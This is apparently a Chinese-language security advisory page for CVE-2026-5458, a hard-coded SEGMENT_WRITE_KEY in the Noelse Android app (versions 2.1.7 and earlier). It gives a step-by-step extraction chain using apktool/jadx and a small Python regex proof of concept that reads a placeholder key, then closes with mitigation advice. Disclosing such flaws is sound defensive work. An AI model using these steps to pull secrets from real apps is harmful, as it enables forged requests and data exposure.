CVE-2026-5458 CVSS 3.3 低危

CVE-2026-5458 Noelse App硬编码密钥漏洞

披露日期: 2026-04-03

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5458

漏洞类型

硬编码密钥

CVSS评分

3.3 低危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Noelse Individuals & Pro App

漏洞概述

Noelse Individuals & Pro App (Android版) 2.1.7及之前版本存在安全漏洞。该漏洞源于组件`com.afone.noelse`的`com/reactnative/antelop/BuildConfig.java`文件中使用了硬编码的加密密钥。攻击者可以通过操纵`SEGMENT_WRITE_KEY`参数触发此问题。由于攻击需要本地访问权限且需要低权限，因此被评级为低危。尽管如此，硬编码密钥可能导致敏感数据泄露。供应商已收到通知但未作出回应，且利用代码已公开。

技术细节

该漏洞属于典型的硬编码敏感信息漏洞。在Android应用开发中，`BuildConfig.java`文件通常用于存储编译时常量。在Noelse应用中，开发者错误地将用于加密或身份验证的密钥（SEGMENT_WRITE_KEY）硬编码在该文件中。攻击者通过反编译APK文件（如使用JADX或Apktool），可以轻松访问`com/reactnative/antelop/BuildConfig.java`文件并读取明文密钥。虽然攻击向量被标记为本地（AV:L），意味着攻击者需要物理接触设备或已获得低权限的本地访问权限，但一旦获取此密钥，攻击者可能解密本地存储的敏感数据或伪造数据请求。由于React Native应用的特性，该密钥可能用于Segment分析服务或数据加密通道，泄露后直接威胁应用的数据机密性。

攻击链分析

STEP 1

步骤1：获取APK文件

攻击者获取Noelse Individuals & Pro App的安装包（APK）。

STEP 2

步骤2：反编译应用

使用工具（如apktool或jadx）对APK进行反编译，还原为源代码或Smali代码。

STEP 3

步骤3：定位敏感文件

导航至com/reactnative/antelop/BuildConfig.java文件。

STEP 4

步骤4：提取密钥

读取SEGMENT_WRITE_KEY字段的值，获取硬编码的密钥。

STEP 5

步骤5：利用密钥

使用提取的密钥解密本地数据或伪造API请求。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-5458: Hard-coded Key Extraction
# Description: This script simulates the extraction of the SEGMENT_WRITE_KEY
# from the decompiled BuildConfig.class of the Noelse App.

import re

# Simulated content of the decompiled smali file: com/reactnative/antelop/BuildConfig.smali
# In a real scenario, this file would be extracted using apktool.
smali_content = """
.class public Lcom/reactnative/antelop/BuildConfig;
.super Ljava/lang/Object;
...
.field public static final SEGMENT_WRITE_KEY:Ljava/lang/String; = "MY_SUPER_SECRET_HARD_CODED_KEY_123"
...
"""

def extract_key(content):
    # Regex to find the hard-coded key definition
    pattern = r'SEGMENT_WRITE_KEY:Ljava/lang/String; = "(.*?)"'
    match = re.search(pattern, content)
    if match:
        return match.group(1)
    return None

print("[*] Analyzing BuildConfig.smali for CVE-2026-5458...")
key = extract_key(smali_content)
if key:
    print(f"[+] Vulnerability Confirmed! Hard-coded Key found: {key}")
else:
    print("[-] Key not found or application is patched.")

影响范围

Noelse Individuals & Pro App <= 2.1.7

防御指南

临时缓解措施

建议用户暂时限制该应用的权限或停止使用，直到官方发布修复版本。开发者应立即修改代码，将硬编码的密钥替换为从安全配置服务获取或存储在系统Keystore中的动态密钥。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表